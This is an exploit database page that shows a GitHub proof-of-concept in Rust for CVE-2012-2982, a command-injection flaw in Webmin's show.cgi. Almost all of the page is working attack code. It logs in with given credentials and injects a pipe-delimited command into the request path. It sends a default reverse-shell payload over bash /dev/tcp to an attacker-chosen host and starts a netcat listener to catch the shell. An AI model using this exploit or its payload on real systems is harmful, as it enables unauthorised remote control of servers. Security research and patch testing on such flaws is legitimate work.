Exploit database

GH-283b1722b27e087579ddfdd6c7e9bb02

0xtas/cve-2012-2982

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2012-2982

15 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files4
0xtas/cve-2012-2982Revision 41677c13a87e

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

src/exploit.rs

Rust · 8,968 bytes
use std::{
    time::Duration,
    process::Command,
    thread::{self, sleep},
};
use rand::{Rng, thread_rng};
use reqwest::{
    StatusCode,
    blocking::Client,
    header::{COOKIE, USER_AGENT}
};


/// ## CVE-2012-2982
/// 
/// **CVE-2012-2982** is an **RCE** vulnerability affecting **Webmin** versions **1.140..=1.590**.
/// 
/// The vulnerability exists because of a function parameter missing input sanitization 
/// in the [*show.cgi*](https://github.com/webmin/webmin/commit/1f1411fe7404ec3ac03e803cfa7e01515e71a213) component.
/// 
/// By including an invalid character in the path section of the URL, 
/// an authenticated user can send a request to the */file/show.cgi/bin* endpoint 
/// which will pipe their input to be executed by the system shell.
/// 
/// Conveniently, the "|" pipe character also works as an invalid character for this purpose.
/// 
/// The resulting exploit payload looks something like this below (*before url encoding*): <br>
/// `http://{rhost}:{rport}/file/show.cgi/bin/4e2fc|bash -c 'exec bash -i >& /dev/tcp/{lhost}/{lport} 0>&1'|`
pub struct Exploit {
    rhost: String,
    rport: u16,
    lhost: String,
    lport: u16,
    user: String,
    pass: String,
    client: Client,
    payload: String,
    dont_listen: bool
}

impl Exploit {
    /// Creates a new Exploit client with the given parameters.
    #[allow(clippy::too_many_arguments)]
    pub fn new(
        rhost: String,
        rport: u16,
        lhost: String,
        lport: u16,
        user: String,
        pass: String,
        client: Client,
        dont_listen: bool
    ) -> Exploit {

        Exploit {
            rhost,
            rport,
            lhost,
            lport,
            user,
            pass,
            client,
            payload: String::new(),
            dont_listen
        }
    }

    /// Set a custom payload before running the exploit.
    pub fn set_payload(&mut self, payload: String) -> &mut Self {
        self.payload = payload;

        self
    }

    /// Exploit the vulnerable endpoint using a configured Exploit instance.
    pub fn run(&mut self) {
        if self.payload.is_empty() {
            self.create_default_payload();
        };

        println!("Running exploit against {}:{}", self.rhost, self.rport);
        println!("\nLogging in...");

        // Attempt to login using compromised credentials.
        // self.login() will return a session cookie value if successful.
        match self.login() {
            Ok(session) => {
                println!("\nLogin Succsessful.");

                let rng_str = format!("{:2x}", thread_rng().gen_range(0x00000..=0xfffff));

                // Format the URL based on the structure of the `rhost` field.
                let payload_url: String = if self.rhost.starts_with("http") {
                    if self.rhost.ends_with('/') {
                        format!(
                            "{}:{}/file/show.cgi/bin/{}|{}|",
                            &self.rhost()[0..(self.rhost().len()-1)],
                            self.rport,
                            rng_str,
                            self.payload
                        )
                    }else {
                        format!(
                            "{}:{}/file/show.cgi/bin/{}|{}|",
                            self.rhost,
                            self.rport,
                            rng_str,
                            self.payload
                        )
                    }
                }else if self.rhost.ends_with('/') {
                    format!(
                        "http://{}:{}/file/show.cgi/bin/{}|{}|",
                        &self.rhost()[0..(self.rhost().len()-1)],
                        self.rport,
                        rng_str,
                        self.payload
                    )
                }else {
                    format!(
                        "http://{}:{}/file/show.cgi/bin/{}|{}|",
                        self.rhost,
                        self.rport,
                        rng_str,
                        self.payload
                    )
                };

                if !self.dont_listen {
                    println!("\nStarting Listener && Sending Payload...\n");
                }else {
                    println!("\nSending Payload (lport: {})...\n", self.lport);
                };

                // We don't particularly care about the response to this request.
                // Just that it makes it there once our listener is ready.
                let cloned_client = self.client.clone();
                let _req = thread::spawn(move || {
                    sleep(Duration::from_millis(1420));
                    let _r = cloned_client.get(payload_url)
                        .header(USER_AGENT, "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36")
                        .header(COOKIE, format!("sid={}", session))
                        .send();
                });

                if !self.dont_listen {
                    // Start a netcat listener and wait to catch the reverse shell.
                    Command::new("nc")
                        .arg("-lnvp")
                        .arg(format!("{}", self.lport))
                        .spawn()
                        .expect("Error running command!")
                        .wait()
                        .ok();
                }else {
                    // Since we aren't hanging around to construct a netcat listener,
                    // we must wait for the thread making a request to fully finish.
                    _req.join().ok();
                    println!("Payload sent.");
                };
            },
            Err(why) => {
                eprintln!("\n{}", why);
            }
        };
    }

    /// Login and retrieve a valid session cookie.
    fn login(&self) -> Result<String, String> {
        // Format the URL based on the structure of the self.rhost variable.
        let url = if self.rhost.starts_with("http") {
            if self.rhost.ends_with('/') {
                format!("{}session_login.cgi", self.rhost())
            }else {
                let mut host = self.rhost();
                host.push('/');

                format!("{}session_login.cgi", host)
            }
        }else if self.rhost.ends_with('/') {
            format!("http://{}session_login.cgi", self.rhost)
        }else {
            format!("http://{}/session_login.cgi", self.rhost)
        };

        let form_body = [("page", "/"), ("user", &self.user), ("pass", &self.pass)];

        let auth_res = self.client.post(url)
            .form(&form_body)
            .header(USER_AGENT, "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36")
            .header(COOKIE, "testing=1")
            .send();

        match auth_res {
            Ok(res) => {
                // StatusCode::FOUND = 302
                if res.status() == StatusCode::FOUND {
                    let session_cookie = res.headers().get("set-cookie");

                    if let Some(sid) = session_cookie {
                        let sid_str = sid.to_str().expect("Expected valid ASCII!");

                        // Format the set-cookie header to extract the value of the session ID.
                        if sid_str.starts_with("sid") {
                            let sid = sid_str
                                .split('=')
                                .collect::<Vec<&str>>()
                                [1]
                                .split(';')
                                .next();

                            match sid {
                                Some(session_cookie) => Ok(session_cookie.to_owned()),
                                None => Err("Failed to login, couldn't find a valid session cookie!".to_string())
                            }
                        }else {
                            Err("Failed to login, couldn't find a valid session cookie!".to_string())
                        }
                    }else {
                        Err("Failed to login, couldn't find a valid session cookie!".to_string())
                    }
                }else {
                    Err(format!(
                        "Failed to login with credentials: {} : {}\nStatus Code: {}",
                        self.user,
                        self.pass,
                        res.status().as_str()
                    ))
                }
            },
            Err(why) => {
                Err(format!("Failed to login! - {:?}", why))
            }
        }
    }

    fn rhost(&self) -> String {
        self.rhost.to_owned()
    }

    fn create_default_payload(&mut self) -> &mut Self {
        self.payload = format!("bash -c 'exec bash -i &> /dev/tcp/{}/{} 0>&1'", self.lhost, self.lport);

        self
    }
}